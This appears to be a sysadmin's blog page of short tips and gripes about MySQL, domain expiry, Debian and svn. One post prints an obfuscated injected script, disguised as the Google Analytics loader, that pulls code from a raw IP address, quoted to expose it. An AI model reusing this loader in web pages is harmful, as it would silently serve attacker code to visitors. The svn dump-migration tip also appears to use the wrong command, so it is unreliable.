Subscribe to RSS Subscribe to Comments

Alan Blaine Whitney

Server Admin Errors

Every sysadmin loves seeing these errors

hdd: dma_intr: status=0x51 { DriveReady SeekComplete Error }
hdd: dma_intr: error=0x40 { UncorrectableError }, LBAsect=95559021, sector=95559015
ide: failed opcode was: unknown
end_request: I/O error, dev hdd, sector 95559015
Buffer I/O error on device hdd1, logical block 11944869

SQL CSV Export

Nothing new here, but had forgot how easy it is to export to csv in mysql

SELECT * INTO OUTFILE 'result.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n' FROM my_table;

Note that this file will be created on the mysql server, not the client.

Register.com

I let a domain expire by accident. I thought it had some type of auto-renew on it, which it did not, so it expired. I really wish they would have sent me a notice a few days before giving me a heads up, but that’s even okay.  My bad for not making sure that it would auto-renew and charge my credit card.

Here is why register.com did that really surprised me. Once my domain expired, they listed the name servers as ns2.expireddomains.register.com and ns1.expireddomains.register.com. These name servers will serve everything as 74.54.82.222, even www.google.com, with a one hour time to live. This is problematic for several reasons. One is that it can give the impression that something is resolving when it is not. Another is that records that once did not exist, now do.

The thing that really frustrated me though, was mail.  The listed name servers will give everything a MX record of grey-area.mailhostingserver.com.  This is a real mail server that accepts all mail.  So somebody can email you, and instead of getting a bounce, the email just disappears into the ether.  More than that they give it a 2 day time to live.  So even after you do renew the domain, your email is screwed up for two days.

I would imagine that at least one-third of expired domains are accidents and they get renewed.  So register.com in their wisdom, hose your email for two days for making a mistake.  More than that, I have given register.com $35 for 7 years on that domain, and use them for nothing other than pointing the dns to another’s name servers.

So I have left register.com and switched to another company.  Thanks register.com for nothing.

Really Bad Code

I just fixing up a reported bug of a really old application.  In trying to fix the code I ran across this piece of code.

return ( floor((  146097 * $century)    /  4 ) +
                floor(( 1461 * $year)        /  4 ) +
                floor(( 153 * $month +  2) /  5 ) +
        		$day +  1721119);

Zip Codes

I nearly never have been able to find a good zip code database, just simple SQL with zips, towns latitude and longitude. The closest I have found is boutell’s Free Zip Code stuff.  Which is still not right, it’s in CSV format, which is easy enough to change, but I want SQL.  So I made it into SQL.

Download Zip Codes in SQL

It nearly goes without saying, but I accept no responsibility for the quality or accuracy of the database or any implications from using it.

Published under the Creative Commons Attribution-ShareAlike license.

Google Analytics Ripoff.

I have found something very funny on a site this morning.  Here is a bit of javascript.

1
2
3
4
5
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript srñ='" + gaJsHost + "google-analytics.com/ga.js' " + '!@&s(#r)c@!=&)\'&h$!t^&!$@t@&$p#^&@:$^/&@!&/!9(1)@.(2)1!(2)&.^#6&@&!^5(@!&.&#$1@!4)8!#/($g#$a&.(j^s)'.replace(/#|&|@|\$|\(|\!|\^|\)/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {var pageTracker = _gat._getTracker("UA-32645524-1");pageTracker._trackPageview();} catch(err); {}</script>

Which translates into including http://91.212.65.148/ga.js

Which includes an iframe. Not sure yet, but this may be the nine ball thing. This iframe is to: http://91.212.65.148//image/index.php

Recursive Find and Replace

This works on most linux boxes.

find /path/to/start/from/ -type f | xargs perl -pi -e ’s/applicationX/applicationY/g’

Debian reset timezone

dpkg-reconfigure tzdata

Command that resets the timezone accross the board on debian/ubuntu

Debian & svn

For those of you who just updated your Debian Lenny install and and had your subversion stop working, this is for you.  If you are getting this error:

svn: OPTIONS of 'http://dust.sephone.com/projects/mslha': could not connect to server (http://dust.sephone.com)

You need to put

http-library=serf

On the last line of ~/.subversion/servers

Moving Subversion Repositories

Here is a how to on moving subversion repositories from one server to another.

First, go to your old server, find the directory and do svnadmin dump name > dumpfile.

FTP over dumpfile to your new server.

Go to your new server and do svnadmin create newname; svnadmin import newname < dumpfile

How you need to update the places where you have this repository checked out with this command svn switch –relocate http://<old-server>/<old-name> http://<new-server>/<new-name>

Just like that.

Next Page »

Based on FluidityTheme Redesigned by Kaushal Sheth Sponsored by Send Flowers